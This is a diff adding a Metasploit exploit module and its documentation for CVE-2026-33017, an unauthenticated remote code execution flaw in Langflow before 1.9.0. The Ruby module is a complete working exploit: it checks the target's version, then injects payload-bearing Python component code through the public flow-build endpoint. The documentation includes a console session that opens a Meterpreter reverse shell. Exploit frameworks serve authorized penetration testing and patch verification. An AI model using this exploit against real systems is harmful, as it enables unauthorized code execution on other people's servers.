diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md new file mode 100644 index 0000000000000..e6cc43711b350 --- /dev/null +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -0,0 +1,64 @@ +## Vulnerable Application + +Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution through the +`/api/v1/build_public_tmp//flow` endpoint. An attacker can send crafted HTTP requests to execute arbitrary code. + +The vulnerability affects: + +* Langflow < 1.9.0. + +This module was successfully tested on: + +* Langflow 1.8.4 (with authentication enabled) + + +## Installation + +1. `docker pull langflowai/langflow:1.8.4` +2. `docker run -d --name langflow-1.8.4 -p 7860:7860 langflowai/langflow:1.8.4` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_33017` +4. Do: `set LHOST ` +5. Do: `set RHOSTS ` +6. Do: `set FLOW_ID ` +7. Do: `exploit` + + +## Options + +### FLOW_ID + +The UUID of a public Langflow flow. This value can be obtained from the +Langflow web interface when viewing a flow. + + +## Scenarios +``` +msf > use exploit/multi/http/langflow_unauth_rce_cve_2026_33017 +[*] Using configured payload python/meterpreter/reverse_tcp +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set LHOST 127.0.0.1 +LHOST => 127.0.0.1 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set FLOW_ID fd1d9d9b-6174-4b31-a621-2ee0f57435e2 +FLOW_ID => fd1d9d9b-6174-4b31-a621-2ee0f57435e2 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > exploit +[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? +[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.8.4 appears vulnerable. +[*] Payload sent successfully. +[*] Sending stage (23408 bytes) to 127.0.0.1 +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54764) at 2026-07-23 17:07:34 -0400 + +meterpreter > +``` + +## References + +- https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896 diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb new file mode 100644 index 0000000000000..78a76b80402c7 --- /dev/null +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -0,0 +1,200 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Langflow Unauth RCE', + 'Description' => %q{ + Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the + /api/v1/build_public_tmp//flow endpoint. A remote and unauthenticated attacker can send crafted + HTTP requests to execute arbitrary code. + }, + 'Author' => [ + 'Richard Howe ', + 'Diamorphine' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-33017'], + ['EDB', '52627'], + ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896'] + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '"' + }, + 'DisclosureDate' => '2026-03-20', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]), + Opt::RPORT(7860) + ] + ) + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) + + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + + doc = res.get_json_document + version_str = doc.is_a?(Hash) ? doc['version'] : nil + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str + + begin + version = Rex::Version.new(version_str) + rescue StandardError + return Exploit::CheckCode::Unknown('Failed to parse version.') + end + + if version < Rex::Version.new('1.9.0') + Exploit::CheckCode::Appears("Version #{version} appears vulnerable.") + else + Exploit::CheckCode::Safe("Version #{version} is not vulnerable.") + end + end + + def exploit + flow_id = datastore['FLOW_ID'] + fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id + + # Randomize component identifiers + node_id = Rex::Text.rand_text_alpha(8) + component_display_name = Rex::Text.rand_text_alpha(5) + component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}" + + output_display_name = Rex::Text.rand_text_alpha(5) + output_name = Rex::Text.rand_text_alpha(5).downcase + output_method = Rex::Text.rand_text_alpha(5).downcase + + # The payload is executed within the output method so it runs when the + # component vertex is invoked; the class definition allows Langflow to + # resolve the component vertex. + injected_code = "from lfx.custom.custom_component.component import Component\n" \ + "from lfx.io import Output\n" \ + "from lfx.schema.data import Data\n" \ + "\n" \ + "class #{component_name}(Component):\n" \ + " display_name='#{component_display_name}'\n" \ + " outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \ + " def #{output_method}(self)->Data:\n" \ + " #{payload.encode.gsub("\n", "\n ")}\n" \ + " return Data(data={})\n" + + data = { + 'data' => { + 'nodes' => [ + { + 'id' => node_id, + 'type' => 'genericNode', + 'position' => { + 'x' => 0, + 'y' => 0 + }, + 'data' => { + 'id' => node_id, + 'type' => component_name, + 'node' => { + 'template' => { + 'code' => { + 'type' => 'code', + 'required' => true, + 'show' => true, + 'multiline' => true, + 'value' => injected_code, + 'name' => 'code', + 'password' => false, + 'advanced' => false, + 'dynamic' => false + }, + '_type' => 'Component' + }, + 'description' => component_display_name, + 'base_classes' => ['Data'], + 'display_name' => component_name, + 'name' => component_name, + 'frozen' => false, + 'outputs' => [ + { + 'types' => ['Data'], + 'selected' => 'Data', + 'name' => output_name, + 'display_name' => output_display_name, + 'method' => output_method, + 'value' => '__UNDEFINED__', + 'cache' => true, + 'allows_loop' => false, + 'tool_mode' => false, + 'hidden' => nil, + 'required_inputs' => nil, + 'group_outputs' => false + } + ], + 'field_order' => ['code'], + 'beta' => false, + 'edited' => false + } + } + } + ], + 'edges' => [] + }, + 'inputs' => nil + } + + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}", + 'data' => data.to_json + } + ) + + fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res + + unless res.code.between?(200, 299) + fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).") + end + + print_status('Payload sent successfully.') + end +end